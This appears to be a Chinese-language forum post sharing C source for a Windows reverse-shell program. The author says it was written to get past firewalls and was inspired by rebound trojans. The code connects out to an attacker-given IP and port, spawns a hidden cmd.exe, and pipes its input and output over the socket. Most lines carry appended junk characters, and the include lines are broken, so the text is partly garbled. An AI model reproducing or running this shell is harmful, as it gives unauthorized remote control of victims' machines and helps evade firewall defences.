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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4I#eC#"  
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/* ============================== lA.;ZD!  
Rebound port in Windows NT }$0xt'q&  
By wind,2006/7 QLB1:O>  
===============================*/ g<rKV+$6  
#include inPdV9  
#include =(|xU?OL  
C7jc6(> m  
#pragma comment(lib,"wsock32.lib") JwI`"$ > w  
;la#Vf:]  
void OutputShell(); s7.p$r  
SOCKET sClient; y3KcM#[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ra9cD"/J &  
=##s;zj(%  
void main(int argc,char **argv) i (%tHa37  
{ gaw4NZd)0  
WSADATA stWsaData; hLyTUt~\L  
int nRet; r{q}f)  
SOCKADDR_IN stSaiClient,stSaiServer; Q9yGQu  
=~\]3g  
if(argc != 3) Xb<DpBrk  
{ I NPYJ#%  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^)hAVf~E  
return; @m/;ZQ  
} Tbi]oB#  
c>R`jb@$N  
WSAStartup(MAKEWORD(2,2),&stWsaData); ` Y{>2UFX  
{ p!_-sL  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "^9[OgE:  
F%PwIB~cy  
stSaiClient.sin_family = AF_INET; EREolCASb  
stSaiClient.sin_port = htons(0); +-H}s`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 42V,PH6o  
X/E7o92\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) && DD  
{ 3qAwBVWa  
printf("Bind Socket Failed!\n"); "xDx/d8B  
return; $>'")7z  
} 2<[ eD`u  
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stSaiServer.sin_family = AF_INET; G%7 4v|cd  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S(>@:`=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); })o~E  
2/v35| ?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6Iv(  
{ 2ec$xms  
printf("Connect Error!"); t_I\P.aMA  
return; *t#s$Ga  
} poXLy/K  
OutputShell(); >Lw}KO`  
} UTDcX  
5!'R'x5e  
void OutputShell() 4pmTicA~  
{ jFuC=6aF  
char szBuff[1024]; mVv\bl?<  
SECURITY_ATTRIBUTES stSecurityAttributes; G}!7tU  
OSVERSIONINFO stOsversionInfo; OuOk=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xH_A@hf;  
STARTUPINFO stStartupInfo; Lh8bQH  
char *szShell; =ze FK_S!  
PROCESS_INFORMATION stProcessInformation; )%iRZ\`f  
unsigned long lBytesRead; F>~ xzc  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >aEL;V=}P  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]Q6+e(:~ZH  
stSecurityAttributes.lpSecurityDescriptor = 0; I#|ocz  
stSecurityAttributes.bInheritHandle = TRUE; .q0218l:dF  
.O5LI35,  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gEZwW]r-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ni2]6U  
9 z5"y|$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,c4c@|Bh?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `6a]|7|f  
stStartupInfo.wShowWindow = SW_HIDE; lpl8h4d  
stStartupInfo.hStdInput = hReadPipe; Q7,EY /  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xn(+G$m  
b!i`o%Vb  
GetVersionEx(&stOsversionInfo); e#>tM  
c%|vUAq*  
switch(stOsversionInfo.dwPlatformId) cI*KRC U  
{ cQ8dc+ {  
case 1: UI!6aVL.  
szShell = "command.com"; _Ry_K3K  
break; v~ ^ks{  
default: 6m4Te|  
szShell = "cmd.exe"; #/ OUGeJ  
break; |h5kg<Zgo  
} I3Lg?bZ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CJzm}'NY  
s~S?D{!  
send(sClient,szMsg,77,0); I"Q#IvNw  
while(1) M[ x_#m|  
{ jja{*PZ6H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JNh=fvO2i  
if(lBytesRead) r%0pQEl  
{ [NYj.#,oR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IE&_!ce  
send(sClient,szBuff,lBytesRead,0); No:^hY:F8  
} 3c c1EQ9  
else [^<SLTev  
{ !8.En8Z<D-  
lBytesRead=recv(sClient,szBuff,1024,0); B{s]juPG  
if(lBytesRead<=0) break; 12idM*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '@'B>7C#  
} :3JCvrq  
} n vm^k  
mO#I nTO  
return; }l~]b3@qu  
}
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